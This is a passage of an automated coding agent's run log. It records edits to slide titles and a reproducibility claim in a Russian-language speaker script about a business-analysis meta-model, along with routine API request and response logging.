**\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 195,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 195,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u044b \u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 232,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 232,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440: \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 271,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 271,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 308,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 308,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u0430 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             },\n[2026-09-29T07:55:38.320Z] [INFO]             {\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldStart\": 336,\n[2026-09-29T07:55:38.320Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newStart\": 336,\n[2026-09-29T07:55:38.320Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:55:38.320Z] [INFO]               \"lines\": [\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" ---\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 10. \u0422\u0440\u0438 \u0448\u0430\u0433\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" **\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\",\n[2026-09-29T07:55:38.320Z] [INFO]                 \" \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\"\n[2026-09-29T07:55:38.320Z] [INFO]               ]\n[2026-09-29T07:55:38.320Z] [INFO]             }\n[2026-09-29T07:55:38.320Z] [INFO]           ]\n[2026-09-29T07:55:38.320Z] [INFO]         }\n[2026-09-29T07:55:38.320Z] [INFO]       ],\n[2026-09-29T07:55:38.320Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:55:38.320Z] [INFO]       \"changedFiles\": [\n[2026-09-29T07:55:38.320Z] [INFO]         \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\"\n[2026-09-29T07:55:38.320Z] [INFO]       ]\n[2026-09-29T07:55:38.320Z] [INFO]     }\n[2026-09-29T07:55:38.320Z] [INFO]   }\n[2026-09-29T07:55:38.320Z] [INFO] }\n[2026-09-29T07:55:38.349Z] [STDOUT] [log_5031e9] sending request {\n[2026-09-29T07:55:38.352Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:55:38.354Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:38.357Z] [STDOUT]   options: {\n[2026-09-29T07:55:38.359Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:55:38.362Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:55:38.364Z] [STDOUT]     body: {\n[2026-09-29T07:55:38.367Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:55:38.374Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:55:38.377Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:55:38.380Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:55:38.383Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:55:38.388Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:55:38.392Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:55:38.397Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:55:38.401Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:55:38.404Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:55:38.406Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:55:38.410Z] [STDOUT]       stream: true,\n[2026-09-29T07:55:38.413Z] [STDOUT]     },\n[2026-09-29T07:55:38.415Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:55:38.422Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:55:38.428Z] [STDOUT]       aborted: false,\n[2026-09-29T07:55:38.431Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:55:38.434Z] [STDOUT]       onabort: null,\n[2026-09-29T07:55:38.438Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:55:38.443Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:55:38.448Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:55:38.452Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:55:38.455Z] [STDOUT]     },\n[2026-09-29T07:55:38.457Z] [STDOUT]     stream: true,\n[2026-09-29T07:55:38.459Z] [STDOUT]   },\n[2026-09-29T07:55:38.464Z] [STDOUT]   headers: {\n[2026-09-29T07:55:38.466Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:55:38.468Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:55:38.475Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:55:38.478Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:55:38.483Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:55:38.489Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:55:38.493Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:55:38.501Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:55:38.507Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:55:38.512Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1617\",\n[2026-09-29T07:55:38.520Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:55:38.527Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:55:38.535Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:38.542Z] [STDOUT]     \"x-client-request-id\": \"b10e5615-634f-409b-812c-6e7677e2931e\",\n[2026-09-29T07:55:38.547Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:55:38.553Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:55:38.556Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:55:38.565Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:55:38.571Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:55:38.574Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:55:38.581Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:55:38.585Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:55:38.587Z] [STDOUT]   },\n[2026-09-29T07:55:38.590Z] [STDOUT] }\n[2026-09-29T07:55:39.178Z] [STDOUT] [log_5031e9, request-id: \"req_011CfXNXzBShRHictvwBzDdX\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 829ms\n[2026-09-29T07:55:39.187Z] [STDOUT] [log_5031e9] response start {\n[2026-09-29T07:55:39.197Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:39.202Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:39.208Z] [STDOUT]   headers: {\n[2026-09-29T07:55:39.216Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:39.223Z] [STDOUT]     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url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:39.467Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:39.469Z] [STDOUT]   body: X {\n[2026-09-29T07:55:39.472Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:55:39.477Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:55:39.481Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:55:39.484Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:55:39.485Z] [STDOUT]     },\n[2026-09-29T07:55:39.487Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:55:39.489Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:55:39.491Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:55:39.492Z] [STDOUT]   },\n[2026-09-29T07:55:39.494Z] [STDOUT]   durationMs: 830,\n[2026-09-29T07:55:39.496Z] [STDOUT] }\n[2026-09-29T07:55:41.399Z] [INFO] {\n[2026-09-29T07:55:41.399Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:41.399Z] [INFO] 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\"tool_result\",\n[2026-09-29T07:55:41.527Z] [INFO]         \"content\": \"The file /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md has been updated successfully. (note: the file had been modified on disk since you last read it \u2014 the edit applied cleanly, but the file contains other changes not in your context. Read it before edits that depend on surrounding content.)\"\n[2026-09-29T07:55:41.527Z] [INFO]       }\n[2026-09-29T07:55:41.527Z] [INFO]     ]\n[2026-09-29T07:55:41.527Z] [INFO]   },\n[2026-09-29T07:55:41.527Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:41.527Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:41.527Z] [INFO]   \"uuid\": \"fce14c40-f804-4cad-9e95-ae34896e4d34\",\n[2026-09-29T07:55:41.527Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:41.507Z\",\n[2026-09-29T07:55:41.527Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:41.527Z] [INFO]     \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:41.527Z] [INFO]     \"oldString\": \"  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u0414\u0430\u0436\u0435 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430,\\n  BCREQ-1074, \u0432 \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b\u0430 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430.\",\n[2026-09-29T07:55:41.527Z] [INFO]     \"newString\": \"  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 \u0442\u0440\u0451\u0445\\n  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, \u0430 7 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\\n  \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\",\n[2026-09-29T07:55:41.527Z] [INFO]     \"originalFile\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- 